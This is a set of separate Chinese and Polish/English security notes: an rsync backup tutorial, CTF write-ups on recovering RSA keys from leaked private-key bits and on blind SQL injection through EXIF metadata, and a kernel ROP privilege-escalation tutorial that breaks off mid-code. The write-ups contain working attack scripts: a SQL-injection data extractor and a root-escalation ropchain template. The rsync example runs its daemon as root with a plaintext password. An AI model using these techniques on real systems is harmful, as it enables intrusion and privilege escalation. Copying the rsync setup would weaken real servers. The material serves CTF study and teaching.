527:35:41 (3, 60.0% of 5) dd 100663296 100% 42.22MB/s 0:00:02 (4, 80.0% of 5) sent 96 bytes received 98190 bytes 11563.06 bytes/sec total size is 100663363 speedup is 1024.19 ``` 上面的信息描述了整个的备份过程,以及总共备份数据的大小。 **后台服务方式** 启动rsync服务,编辑`/etc/xinetd.d/rsync`文件,将其中的`disable=yes`改为`disable=no`,并重启xinetd服务,如下: ```shell vi /etc/xinetd.d/rsync #default: off # description: The rsync server is a good addition to an ftp server, as it \ # allows crc checksumming etc. service rsync { disable = no socket_type = stream wait = no user = root server = /usr/bin/rsync server_args = --daemon log_on_failure += USERID } ``` ```shell /etc/init.d/xinetd restart 停止 xinetd: [确定] 启动 xinetd: [确定] ``` 创建配置文件,默认安装好rsync程序后,并不会自动创建rsync的主配置文件,需要手工来创建,其主配置文件为“/etc/rsyncd.conf”,创建该文件并插入如下内容: ```shell vi /etc/rsyncd.conf uid=root gid=root max connections=4 log file=/var/log/rsyncd.log pid file=/var/run/rsyncd.pid lock file=/var/run/rsyncd.lock secrets file=/etc/rsyncd.passwd hosts deny=172.16.78.0/22 [www] comment= backup web path=/www read only = no exclude=test auth users=work ``` 创建密码文件,采用这种方式不能使用系统用户对客户端进行认证,所以需要创建一个密码文件,其格式为“username:password”,用户名可以和密码可以随便定义,最好不要和系统帐户一致,同时要把创建的密码文件权限设置为600,这在前面的模块参数做了详细介绍。 ```shell echo "work:abc123" > /etc/rsyncd.passwd chmod 600 /etc/rsyncd.passwd ``` 备份,完成以上工作,现在就可以对数据进行备份了,如下: ```shell rsync -avz --progress --delete work@172.16.78.192::www /databack/experiment/rsync Password: receiving file list ... 6 files to consider ./ files... a 0 100% 0.00kB/s 528:20:41 (1, 50.0% of 6) b 67 100% 65.43kB/s 0:00:00 (2, 66.7% of 6) c 0 100% 0.00kB/s 528:20:41 (3, 83.3% of 6) dd 100663296 100% 37.49MB/s 0:00:02 (4, 100.0% of 6) sent 172 bytes received 98276 bytes 17899.64 bytes/sec total size is 150995011 speedup is 1533.75 ``` 恢复,当服务器的数据出现问题时,那么这时就需要通过客户端的数据对服务端进行恢复,但前提是服务端允许客户端有写入权限,否则也不能在客户端直接对服务端进行恢复,使用rsync对数据进行恢复的方法如下: ```shell rsync -avz --progress /databack/experiment/rsync/ work@172.16.78.192::www Password: building file list ... 6 files to consider ./ a b 67 100% 0.00kB/s 0:00:00 (2, 66.7% of 6) c sent 258 bytes received 76 bytes 95.43 bytes/sec total size is 150995011 speedup is 452080.87 ``` **将源目录同步到目标目录** ```shell $ rsync -r source destination ``` 上面命令中,`-r` 表示递归,即包含子目录。注意,`-r`是必须的,否则 `rsync` 运行不会成功。`source` 目录表示源目录,`destination` 表示目标目录。 **多个文件或目录同步** ```shell $ rsync -r source1 source2 destination ``` 上面命令中,`source1`、`source2` 都会被同步到 `destination` 目录。 **同步元信息** `-a` 参数可以替代 `-r`,除了可以递归同步以外,还可以同步元信息(比如修改时间、权限等)。由于 `rsync` 默认使用文件大小和修改时间决定文件是否需要更新,所以 `-a` 比 `-r` 更有用。下面的用法才是常见的写法。 ```shell $ rsync -a source destination ``` 目标目录 `destination` 如果不存在,`rsync` 会自动创建。执行上面的命令后,源目录 `source` 被完整地复制到了目标目录 `destination` 下面,即形成了 `destination/source` 的目录结构。 如果只想同步源目录 `source` 里面的内容到目标目录 `destination` ,则需要在源目录后面加上斜杠。 ```shell $ rsync -a source/ destination ``` 上面命令执行后,`source` 目录里面的内容,就都被复制到了 `destination` 目录里面,并不会在 `destination` 下面创建一个 `source` 子目录。 **模拟执行的结果** 如果不确定 `rsync` 执行后会产生什么结果,可以先用 `-n` 或 `--dry-run` 参数模拟执行的结果。 ```shell $ rsync -anv source/ destination ``` 上面命令中,`-n` 参数模拟命令执行的结果,并不真的执行命令。`-v` 参数则是将结果输出到终端,这样就可以看到哪些内容会被同步。 **目标目录成为源目录的镜像副本** 默认情况下,`rsync` 只确保源目录的所有内容(明确排除的文件除外)都复制到目标目录。它不会使两个目录保持相同,并且不会删除文件。如果要使得目标目录成为源目录的镜像副本,则必须使用 `--delete` 参数,这将删除只存在于目标目录、不存在于源目录的文件。 ```shell $ rsync -av --delete source/ destination ``` 上面命令中,`--delete` 参数会使得 `destination` 成为 `source` 的一个镜像。 **排除文件** 有时,我们希望同步时排除某些文件或目录,这时可以用--exclude参数指定排除模式。 ```shell $ rsync -av --exclude='*.txt' source/ destination # 或者 $ rsync -av --exclude '*.txt' source/ destination ``` 上面命令排除了所有 `TXT` 文件。 注意,`rsync` 会同步以"点"开头的隐藏文件,如果要排除隐藏文件,可以这样写 `--exclude=".*"`。 如果要排除某个目录里面的所有文件,但不希望排除目录本身,可以写成下面这样。 ```shell $ rsync -av --exclude 'dir1/*' source/ destination ``` 多个排除模式,可以用多个 `--exclude` 参数。 ```shell $ rsync -av --exclude 'file1.txt' --exclude 'dir1/*' source/ destination ``` 多个排除模式也可以利用 Bash 的大扩号的扩展功能,只用一个 `--exclude` 参数。 ```shell $ rsync -av --exclude={'file1.txt','dir1/*'} source/ destination ``` 如果排除模式很多,可以将它们写入一个文件,每个模式一行,然后用 `--exclude-from` 参数指定这个文件。 ```shell $ rsync -av --exclude-from='exclude-file.txt' source/ destination ``` **指定必须同步的文件模式** `--include` 参数用来指定必须同步的文件模式,往往与 `--exclude` 结合使用。 ```shell $ rsync -av --include="*.txt" --exclude='*' source/ destination ``` 上面命令指定同步时,排除所有文件,但是会包括 `TXT` 文件。
sec-knowleage
# RSA Chained (crypto, 312p, 21 solved) In the challenge we get [source code](task.py) and [results](output.txt). The code generates 4 distinctive multiprime RSA keys and encrypts the flag via series of encryptions done with those keys. For each of the keys we know public key and `d % 2^1050`, so we have a problem known as `partial private key exposure`. The idea for solution is very similar as in https://github.com/p4-team/ctf/tree/master/2016-09-16-csaw/still_broken_box with the exception that we actuall know much more of the private key than is needed. The bound is `N/4` exposed bits and we know `N/2`, so it definitely is solvable. The twist in this task is that we have multiprime RSA and keys are all genreated differently, so we need to do some math on paper to get the right equations. ## General math basis The general idea for the solution is to use the private key equation for RSA: ``` e * d == 1 mod phi(N) ``` This obviously holds, because it's the basis for RSA decryption, and also we simply know that `d == modinv(e,phi(N))` We can rewrite the above equation as: ``` e * d - k*phi(N) = 1 ``` Directly from the definition of modular equation. The value `k` is `some integer`, however we know that `d < phi(N)` (from definition, `d` is after all calculated `mod phi(N)`) and both `d` and `e` are positive integers and so is `phi(N)` so `k` can't be more than `e`. Since `e = 1667` we can brute-force all possible values of `k` so following from here on we will assume `k` is a known constant, and in code we will simply loop over them. What we know in the task is `d0 = d mod 2**1050`. Now we change `d` for `d0` getting: ``` e * d == 1 mod phi(N) (e * d) mod 2**1050 == (1 mod phi(N)) mod 2**1050 (e mod 2**1050) * (d mod 2**1050) mod 2**1050 == (1 mod phi(N)) mod 2**1050 e * d0 == (1 mod phi(N)) mod 2**1050 e * d0 - k*phi(N) == 1 mod 2**1050 ``` We end up with: ``` e * d0 - k*phi(N) == 1 mod 2**1050 ``` This is pretty much what we start with for each of the public keys we have. ## Case `N = p*q*r` First case we will tackle is `N = p*q*r` simply because it's the easiest one to spot. For the other two equations we actually don't know which one is which. In order to spot for this case, we simply need to calculate GCD of all public keys. Since there are 2 keys which share factor `r` their GCD will be `r`, while all others will be `1`: ```python def main(): n = [ 859120656206379031921714646885063910105407651892527052187347867316222596884434658659405822448255608155810241715879240998190431705853390924506125009673776539735775578734295308956647438104082568455604755897347443474837969627723792555180605570061543466558710984713039896691188382997755705425087392982168984185229388761020298907843938651747237132404355197739247655148879984476412365078220648181358131779226613410257975180399575865809381114503102493767755197618305439592514756307937482535824886677028869214462143121897901687818277055753103973809215799348093165770108731899625440232334370794010877047571087634088643565878666814823597, 1311485515090222718982495198730831073955174624382380405255882886012541076751694096664143914783345786808989030195914045177845164364400711539537456739170589346033729436625658871146633553503774866142568716068953663977222002088477902235884717082069070796901652820969777833174034685816622756524282480580399883160755030115364291412718061758142515305389808681261201028647918631486855998332674824264495109641835596608336454102370944531225289276734441189842117114187272485368222698210402692987316946307402124818683662256285425749745044473836534317911693431019535047343774304237969249813708212575639444584092633692220540287380100087406907, 1575060449430659140207638391055943675863526369065063706350412723523667837574603957873052861827978497667790320751709825539894814309966419985565518167069012257059970719629265514554227032833047486506557616694792185308331642271153817395624694602567048186971822198162003259057599067679515651509006583655734337286195372119659961892695887527649792831639865587192165588971284597107150903552624259996427357055727777299373593229142742726141314990452184229476917038184267241036918602554417997784006066104066098902608890274713296413328177121301222893743767266080583504425094092518398681307182308611729107396812972850405735757668088697847951, 4232819155839550922279592842719433946891627776859962079814516253452165389036653289438928378562503361802962808867376036446065199400114343981489770467719433842467863790025157645790790546711434342749173114584205175937908175583479179580810260063208858154629604787679080148158778144242635384249890271882097552355559004259916015878919322278402739861284711967004042252592561170311676956442870143264815298550428890342085615270647716168020441562257255689477157387477157201225997667848750302348483724394538068236632998615714647043723202692215390463632895984121932442861483996529680353143769212467480570412438553808228897441253339977829074399 ] for c in itertools.combinations(n, 2): g = gcd(c[0], c[1]) if g != 1: print(c[0], c[1]) print(g) ``` This way get get to know that we're looking at keys 1 and 2 and `r = 32619972550448885952992763634430245734911201344234854263395196070105784406551510361671421185736962007609664176708457560859146461127127352439294740476944600948487063407599124272043110271125538616418873138407229` Now we need to modify the initial equation we have to fit this particular case: ``` e * d0 - k*phi(N) == 1 mod 2**1050 ``` `e, d0, k` are all constants so let's focus on `phi(N)`. We know it is (from definition) `phi(N) = (p-1)*(q-1)*(r-1)` and we know that `p*r*q = N`. We want to express the value of `phi(N)` as some univariate equation, so we need to get rid of either `q` or `p`: ``` (p-1)*(q-1)*(r-1) = (p-1)*(qr-q-r+1) = pqr-pq-pr+p-qr+q+r-1 = N-pq-pr+p-qr+q+r-1 = | *r Nr-pqr-pr^2+pr-qr^2+qr+r^2-r = Nr-N-pr^2+pr-qr^2+qr+r^2-r = |*p Nrp-Np-p^2r^2+p^2r-pqr^2+pqr+pr^2-rp = Nrp-Np-p^2r^2+p^2r-Nr+N+pr^2-pr ``` And now we're left with a term with only a single uknown `p`, because `N` and `r` are constants. Let's plug this back: ``` e*d0*p*r - k*(Nrp-Np-p^2r^2+p^2r-Nr+N+pr^2-pr) == p*r mod 2**1050 ``` We solve this via: ```python def find_p(d0, e, n, start, stop): r = 32619972550448885952992763634430245734911201344234854263395196070105784406551510361671421185736962007609664176708457560859146461127127352439294740476944600948487063407599124272043110271125538616418873138407229 X = var('X') for k in xrange(start, stop): print("test for", k) results = solve_mod([e*d0*r*X - k*(n*r*X -n*X - X*X*r*r + X*X*r - n*r + n +X*r*r - X*r) == X*r], 2^1050) for x in results: p0 = ZZ(x[0]) if is_prime(p0) and gcd(n,p0)!=1: return p0 ``` `start` and `stop` variables are simply `k` range to check. We need to check `k` from `1` to `e`, but we can do this in paralell, because calculations are independent. We know that the real value we want to recover is a prime and is a factor of `n`. With this we recover value `p0 == p mod 2**1050`. Notice, however that `p` is 700 bits long, and thus `p0 == p` and we don't need to use approach similar to the one shown in https://github.com/p4-team/ctf/tree/master/2016-09-16-csaw/still_broken_box with Coppersmith method to recover full value of `p`. This way we break 2 of the 4 keys recovering values of `p`: ``` p1 = 90298557884682577669238320760096423994217812898822512514104930945042122418007925771281125855142645396913218673571816112036657123492733042972301983242487835472292994595416656844378721884370309120262139835889657 p2 = 142270506848638924547091203976235495577725242858694711068289574174127601000137457280276860615471044907560710121669055364010408768146949985099404319539891688093875478389341632242096859500255283810703767020918479 ``` ## Case `N = pq**2` Now let's tackle another case using pretty much the same approach. The only different is the equation since now `phi(N) = (p-1)*(q-1)*q` and `N = pq^2` ``` (p-1)*(q-1)*q = (p-1)*(q^2-q) = pq^2-pq-q^2+q = N-pq-q^2+q = | *q Nq-pq^2-q^3+q^2 = Nq-N-q^3+q^2 ``` Notice we multiply here by `q` and not by `p`, simply because `q` appears already in first and in second power, so getting rid of `q` would be much more difficult. And again we end up with equation depending on a single variable `q`, so we can plug this back in: ``` e*d0*q - k*(Nq-N-q^3+q^2) == q mod 2**1050 ``` And we can again proceed with identical sage code, with the exception for the equation part which is now: ```python results = solve_mod([e*d0*X - k*(n*X-n-X*X*X + X*X) == X], 2^1050) ``` We don't know if key 3 or 4 is this case, but it doesn't matter, we can run this on both and see which one gives a solution. It turns out to be key number 2 and we recover q: ``` q3 = 267307309343866797026967908679365544381223264502857628608660439661084648014195234872217075156454448820508389018205344581075300847474799458610853350116251989700007053821013120164193801622760845268409925117073227 ``` ## Case `N=p*q` where `q.nbits() == 1400` Now we need to tacle the last equation, proceeding the same way as before. In this case more classically `phi(N) = (p-1)*(q-1)`: ``` (p-1)*(q-1) = pq-p-q+1 = N-p-q+1 = |*p Np-p^2-pq+p = Np-p^2-N+p ``` And as before we arrive at equation with a single unknown `p`. We plug it back in: ``` e*d0*p - k*(Np-p^2-N+p) == p mod 2**1050 ``` And we can solve it with the same sage code with equation being: ```python results = solve_mod([e*d0*X - k*(n*X-X*X-n+X) == X], 2^1050) ``` And from this we recover the last `p`: ``` p4 = 188689169745401648234984799686937623590015544678958930140026860499157441295507274434268349194461155162481283679350641089523071656015001291946438485044113564467435184782104140072331748380561726605546500856968771 ``` ## Decrypt the flag Now what is left is to recover all private keys and decrypt the flag: ```python import gmpy2 from crypto_commons.generic import long_to_bytes from crypto_commons.rsa.rsa_commons import modinv e = 1667 def solve(): r = 32619972550448885952992763634430245734911201344234854263395196070105784406551510361671421185736962007609664176708457560859146461127127352439294740476944600948487063407599124272043110271125538616418873138407229 assert gmpy2.is_prime(r) n1 = 859120656206379031921714646885063910105407651892527052187347867316222596884434658659405822448255608155810241715879240998190431705853390924506125009673776539735775578734295308956647438104082568455604755897347443474837969627723792555180605570061543466558710984713039896691188382997755705425087392982168984185229388761020298907843938651747237132404355197739247655148879984476412365078220648181358131779226613410257975180399575865809381114503102493767755197618305439592514756307937482535824886677028869214462143121897901687818277055753103973809215799348093165770108731899625440232334370794010877047571087634088643565878666814823597 p1 = 90298557884682577669238320760096423994217812898822512514104930945042122418007925771281125855142645396913218673571816112036657123492733042972301983242487835472292994595416656844378721884370309120262139835889657 q1 = (n1 / r) / p1 assert gmpy2.is_prime(q1) assert gmpy2.is_prime(p1) d1 = modinv(e, (p1 - 1) * (q1 - 1) * (r - 1)) n2 = 1311485515090222718982495198730831073955174624382380405255882886012541076751694096664143914783345786808989030195914045177845164364400711539537456739170589346033729436625658871146633553503774866142568716068953663977222002088477902235884717082069070796901652820969777833174034685816622756524282480580399883160755030115364291412718061758142515305389808681261201028647918631486855998332674824264495109641835596608336454102370944531225289276734441189842117114187272485368222698210402692987316946307402124818683662256285425749745044473836534317911693431019535047343774304237969249813708212575639444584092633692220540287380100087406907 p2 = 142270506848638924547091203976235495577725242858694711068289574174127601000137457280276860615471044907560710121669055364010408768146949985099404319539891688093875478389341632242096859500255283810703767020918479 q2 = (n2 / r) / p2 assert gmpy2.is_prime(q2) assert gmpy2.is_prime(p2) d2 = modinv(e, (p2 - 1) * (q2 - 1) * (r - 1)) q3 = 267307309343866797026967908679365544381223264502857628608660439661084648014195234872217075156454448820508389018205344581075300847474799458610853350116251989700007053821013120164193801622760845268409925117073227 n3 = 1575060449430659140207638391055943675863526369065063706350412723523667837574603957873052861827978497667790320751709825539894814309966419985565518167069012257059970719629265514554227032833047486506557616694792185308331642271153817395624694602567048186971822198162003259057599067679515651509006583655734337286195372119659961892695887527649792831639865587192165588971284597107150903552624259996427357055727777299373593229142742726141314990452184229476917038184267241036918602554417997784006066104066098902608890274713296413328177121301222893743767266080583504425094092518398681307182308611729107396812972850405735757668088697847951 p3 = n3 / (q3 * q3) assert gmpy2.is_prime(q3) assert gmpy2.is_prime(p3) d3 = modinv(e, (p3 - 1) * (q3 - 1) * q3) p4 = 188689169745401648234984799686937623590015544678958930140026860499157441295507274434268349194461155162481283679350641089523071656015001291946438485044113564467435184782104140072331748380561726605546500856968771 n4 = 4232819155839550922279592842719433946891627776859962079814516253452165389036653289438928378562503361802962808867376036446065199400114343981489770467719433842467863790025157645790790546711434342749173114584205175937908175583479179580810260063208858154629604787679080148158778144242635384249890271882097552355559004259916015878919322278402739861284711967004042252592561170311676956442870143264815298550428890342085615270647716168020441562257255689477157387477157201225997667848750302348483724394538068236632998615714647043723202692215390463632895984121932442861483996529680353143769212467480570412438553808228897441253339977829074399 q4 = n4 / p4 assert gmpy2.is_prime(q4) assert gmpy2.is_prime(p4) d4 = modinv(e, (p4 - 1) * (q4 - 1)) ct = 594744523070645240942929359037746826510854567332177011620057998249212031582656570895820012394249671104987340986625186067934908726882826886403853350036347685535238091672944302281583099599474583019751882763474741100766908948169830205008225271404703602995718048181715640523980687208077859421140848814778358928590611556775259065145896624024470165717487152605409627124554333901173541260152787825789663724638794217683229247154941119470880060888700805864373121475407572771283720944279236600821215173142912640154867341243164010769049585665362567363683571268650798207317025536004271505222437026243088918839778445295683434396247524954340356 rsa1 = (n1, d1) rsa2 = (n2, d2) rsa3 = (n3, d3) rsa4 = (n4, d4) rsa = sorted([rsa1, rsa2, rsa3, rsa4], reverse=True) for n, d in rsa: ct = pow(ct, d, n) print(long_to_bytes(ct)) solve() ``` And we get `DrgnS{w3_fiX3d_that_f0r_y0U}`
sec-knowleage
## Limitless (web, 200p) ### PL [ENG](#eng-version) W zadaniu dostajemy link do webowego uploadera plików, oraz informacje, że mamy wyciągnąć jakieś informacje z tabeli `flag`. Analiza uploadera oraz jego działania pozwala zauważyć, że uploader po załadowaniu pliku pobiera z niego dane `exif` a następnie na podstawie pola `exif.primary.Software` wyszukuje w bazie danych oraz wyświetla zdjęcia utworzone tym samym oprogramowaniem. Zastosowaliśmy więc technikę `SQL Injection` poprzez pole exif, za pomocą skryptu: ```python img = pexif.JpegFile.fromFile("file.jpg") img.exif.primary.Software = '"&&' + sql + '#' img.writeFile('file.jpg') ``` Który dopisywał nasze zapytanie do pliku i przygotowywał je do wykonania. Zapytanie trafiało do klauzuli `where` zaraz za porównaniem ze stringiem. Niestety mieliśmy twarde ograniczenie wynoszące 50 znaków dla tego pola exif, co mocno ograniczało nasze możliwości. Dodatkowo wykluczona była operacja union a tabela z której dokonywano selekcji miała 0 rekordów. W związku z tym postanowiliśmy wykorzystać atak `remote timing` na bazę danych wraz z testowaniem pojedyńczych znaków jedynego elementu tabeli flags (gdzie spodziewaliśmy się flagi) - jeśli porównanie symbolu było niepoprawne wykonywaliśmy długo liczący się kod (sleep nie był dostępny). Z racji małej liczby znaków nie mogliśmy użyć funkcji `substring` ani `mid`, musieliśmy opierać się o przesuwające się okno ze znamym fragmentem flagi. Kod sql to: ```sql benchmark(~-((select*from flag)like'%" + window + "%'),1) ``` Funkcja benchmark wykonuje podany kod tyle razy ile wynosi pierwszy argument. W naszym przypadku wartość boolean jest zamieniana na liczbę za pomocą unarnego minusa a następnie bity są negowane. Problem z tym rozwiązaniem polegał na tym, że taki benchmark wykonuje się bardzo (!) długo a w naszym kodzie uruchamiamy go dla każdego nie pasującego symbolu, więc dla każdego zgadywanego znaku pesymistycznie prawie 40 razy. Skutek był taki, że położyliśmy serwer 5 razy uzyskując raptem 2/3 flagi a organizatorzy postanowili zablokować funkcję benchmark. Nasze drugie podejście wykorzystało inny sposób - logowanie błędów mysql. Użyliśmy zapytania: ```sql rlike(if(mid((select*from flag),"+CHARACTER_INDEX+",1)='"+CHARACTER+"','',1)) ``` Dzięki czemu w zależności od spełnienia warunku skrypt wykonywał się poprawnie lub zgłaszał błąd składniowy. Cały skrypt odzyskujący flagę: ```python import pexif, subprocess ​def execute_sql(sql): img = pexif.JpegFile.fromFile("/var/www/html/img.jpg") img.exif.primary.Software = '"' + sql + '#' img.writeFile('/var/www/html/imgdest.jpg') return subprocess.check_output('curl -s -F submit=1 -F file=@/var/www/html/imgdest.jpg http://10.13.37.3', shell=True) for i in range(1, 999): for c in (range(48, 58) + range(65, 91) + range(97, 126)): if 'expression' in execute_sql("rlike(if(mid((select*from flag),"+str(i)+",1)='"+chr(c)+"','',1))"): print chr(c), break ``` A jego wynik: `DCTF{09D5D8300A7ADC45C5D434BB467F2A85}` ### ENG version In the task we get a link to a web file upoloader and an information that we need to extract some data from `flag` table. Analysis of the uploader and its behaviour reveals that the uploader, after loading the file, collected `exif` data and then based on `exif.primary.Software` finds and displays other pictures made with the same software. We used `SQL Injection` via exif field using script: ```python img = pexif.JpegFile.fromFile("file.jpg") img.exif.primary.Software = '"&&' + sql + '#' img.writeFile('file.jpg') ``` This script was adding the query to the file and preparing it for execution. The query was then placed in `where` clause, right after the comparison with a string. Unfortunately we hade a hard limit of 50 characters for the query, which was a strong limiting factor. On top of that it was impossible to use `union` and the table on which the selection was executed had 0 rows. Therefore we decided to use `remote timing attack` on the database with testing single character of the sole element of flags table (where we expected to find the flag) - if the condition was not matching we were executing a long running task (sleep was unavailable). Since the characters number limitation we could not use `substring` or `mid` functions and we had to relay on a moving window with known flag prefix/suffix. The SQL code was: ```sql benchmark(~-((select*from flag)like'%" + window + "%'),1) ``` Benchmark function executes given code as many times as stated in the first argunent. In our case boolean is converted to int via unary minus and then bits are negated. The problem was that this benchmark executes really long (!) and in our code we we run it for every non matching symbol, so for any guessed character we might use almost 40 of those processes. As a result we crashed the server 5 times and still got only 2/3 of the flag and organisers finally decided to block benchmark function. Our second attempt was using a different approach - exploiting errors in mysql. We used: ```sql rlike(if(mid((select*from flag),"+CHARACTER_INDEX+",1)='"+CHARACTER+"','',1)) ``` And therefore the script would execute normally or crash with a syntax error, depending on the condition value. Whole script for extracting the flag: ```python import pexif, subprocess ​def execute_sql(sql): img = pexif.JpegFile.fromFile("/var/www/html/img.jpg") img.exif.primary.Software = '"' + sql + '#' img.writeFile('/var/www/html/imgdest.jpg') return subprocess.check_output('curl -s -F submit=1 -F file=@/var/www/html/imgdest.jpg http://10.13.37.3', shell=True) for i in range(1, 999): for c in (range(48, 58) + range(65, 91) + range(97, 126)): if 'expression' in execute_sql("rlike(if(mid((select*from flag),"+str(i)+",1)='"+chr(c)+"','',1))"): print chr(c), break ``` And the result. `DCTF{09D5D8300A7ADC45C5D434BB467F2A85}`
sec-knowleage
# Kernel ROP ROP即```返回导向编程```(Return-oriented programming),应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流。 **内核态的 ROP 与用户态的 ROP 一般无二,只不过利用的 gadget 变成了内核中的 gadget,所需要构造执行的 ropchain 由** `system("/bin/sh")` **变为了** `commit_creds(&init_cred)` 或 `commit_creds(prepare_kernel_cred(NULL))`,当我们成功地在内核中执行这样的代码后,当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝,我们也就获得了 root 权限,此时在用户态起一个 shell 便能获得 root shell。 ## 状态保存 通常情况下,我们的exploit需要进入到内核当中完成提权,而我们最终仍然需要**着陆回用户态**以获得一个root权限的shell,因此在我们的exploit进入内核态之前我们需要**手动模拟用户态进入内核态的准备工作**——**保存各寄存器的值到内核栈上**,以便于后续着陆回用户态。 通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链: > 算是一个通用的pwn板子。 > > 方便起见,使用了内联汇编,编译时需要指定参数:```-masm=intel```。 ```c size_t user_cs, user_ss, user_rflags, user_sp; void saveStatus() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); } ``` ## 返回用户态 由内核态返回用户态只需要: - `swapgs`指令恢复用户态GS寄存器 - `sysretq`或者`iretq`恢复到用户空间 那么我们只需要在内核中找到相应的gadget并执行```swapgs;iretq```就可以成功着陆回用户态。 通常来说,我们应当构造如下rop链以返回用户态并获得一个shell: ``` ↓ swapgs iretq user_shell_addr user_cs user_eflags //64bit user_rflags user_sp user_ss ``` ## 例题:强网杯2018 - core ### 分析 题目给了 `bzImage`,`core.cpio`,`start.sh` 以及带符号表的 `vmlinux` 四个文件 前三个文件我们已经知道了作用,`vmlinux` 则是静态编译,未经过压缩的 kernel 文件,相对应的 `bzImage` 可以理解为压缩后的文件,更详细的可以看 [stackexchange](https://unix.stackexchange.com/questions/5518/what-is-the-difference-between-the-following-kernel-makefile-terms-vmlinux-vml) vmlinux 未经过压缩,也就是说我们可以从 vmlinux 中找到一些 gadget,我们先把 gadget 保存下来备用。 > 建议使用 [Ropper](https://github.com/sashs/Ropper) 来寻找 gadget,在我测试时,ropper 用了两分半钟提取出了所有的 gadget,而 [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) 用了半个小时耗尽了内存还没跑出结果。。。 ```bash give_to_player [master●] time ropper --file ./vmlinux --nocolor > g1 [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% ropper --file ./vmlinux --nocolor > g1 147.42s user 25.68s system 111% cpu 2:35.17 total give_to_player [master●] time ROPgadget --binary ./vmlinux > g2 [2] 16597 killed ROPgadget --binary ./vmlinux > g2 ROPgadget --binary ./vmlinux > g2 1064.39s user 42.52s system 54% cpu 33:35.89 total ``` 如果题目没有给 vmlinux,可以通过 [extract-vmlinux](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux) 提取。 ```bash CISCN2017_babydriver [master●●] ./extract-vmlinux ./bzImage > vmlinux CISCN2017_babydriver [master●●] file vmlinux vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped ``` 看一下 start.sh ```bash give_to_player [master●●] ls bzImage core.cpio start.sh vmlinux give_to_player [master●●] bat start.sh ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: start.sh ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ qemu-system-x86_64 \ 2 │ -m 64M \ 3 │ -kernel ./bzImage \ 4 │ -initrd ./core.cpio \ 5 │ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ 6 │ -s \ 7 │ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ 8 │ -nographic \ ───────┴───────────────────────────────────────────────────────────────────────────────── ``` 发现内核开启了 kaslr 保护。 解压 `core.cpio` 后,看一下 init ```bash give_to_player [master●] file core.cpio core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix, original size 53442048 give_to_player [master●] mkdir core give_to_player [master●] cd core core [master] mv ../core.cpio core.cpio.gz core [master●] gunzip ./core.cpio.gz core [master●] cpio -idm < ./core.cpio 104379 块 core [master●] bat init ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: init ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ #!/bin/sh 2 │ mount -t proc proc /proc 3 │ mount -t sysfs sysfs /sys 4 │ mount -t devtmpfs none /dev 5 │ /sbin/mdev -s 6 │ mkdir -p /dev/pts 7 │ mount -vt devpts -o gid=4,mode=620 none /dev/pts 8 │ chmod 666 /dev/ptmx 9 │ cat /proc/kallsyms > /tmp/kallsyms 10 │ echo 1 > /proc/sys/kernel/kptr_restrict 11 │ echo 1 > /proc/sys/kernel/dmesg_restrict 12 │ ifconfig eth0 up 13 │ udhcpc -i eth0 14 │ ifconfig eth0 10.0.2.15 netmask 255.255.255.0 15 │ route add default gw 10.0.2.2 16 │ insmod /core.ko 17 │ 18 │ poweroff -d 120 -f & 19 │ setsid /bin/cttyhack setuidgid 1000 /bin/sh 20 │ echo 'sh end!\n' 21 │ umount /proc 22 │ umount /sys 23 │ 24 │ poweroff -d 0 -f ───────┴──────────────────────────── ``` 发现了几处有意思的地方: - 第 9 行中把 `kallsyms` 的内容保存到了 `/tmp/kallsyms` 中,那么我们就能从 `/tmp/kallsyms` 中读取 `commit_creds`,`prepare_kernel_cred` 的函数的地址了 - 第 10 行把 `kptr_restrict` 设为 1,这样就不能通过 `/proc/kallsyms` 查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了 - 第 11 行把 `dmesg_restrict` 设为 1,这样就不能通过 `dmesg` 查看 kernel 的信息了 - 第 18 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包 同时还发现了一个 shell 脚本 `gen_cpio.sh` ```bash core [master●] bat gen_cpio.sh ───────┬───────────────────────────────────────────────────────────────────────────────── │ File: gen_cpio.sh ───────┼───────────────────────────────────────────────────────────────────────────────── 1 │ find . -print0 \ 2 │ | cpio --null -ov --format=newc \ 3 │ | gzip -9 > $1 ───────┴───────────────────────────────────────────────────────────────────────────────── ``` 从名称和内容都可以看出这是一个方便打包的脚本,我们修改好 init 后重新打包,尝试运行 kernel ```bash core [master●●] vim init core [master●●] rm core.cpio core [master●●] ./gen_cpio.sh core.cpio . ./usr ./usr/sbin ./usr/sbin/popmaildir ...... ...... ./core.cpio ./core.ko 129851 块 core [master●●] ls bin core.ko gen_cpio.sh lib linuxrc root sys usr core.cpio etc init lib64 proc sbin tmp vmlinux core [master●●] mv core.cpio .. core [master●●] cd .. give_to_player [master●●] ./start.sh ``` 但这时候又遇到了新问题,内核运行不起来,从一闪即逝的报错信息中能看到是因为分配的内存过小,`start.sh` 中 `-m` 分配的是 64M,修改为 128M,终于能运行起来了。 ```bash / $ lsmod core 16384 0 - Live 0x0000000000000000 (O) ...... ...... give_to_player [master●●] cp core/core.ko . give_to_player [master●●] check ./core.ko ./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436683d [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0) ``` 可以看出开启了 canary 保护,用 IDA 打开进一步分析。 **init_module()** 注册了 `/proc/core` ```C __int64 init_module() { core_proc = proc_create("core", 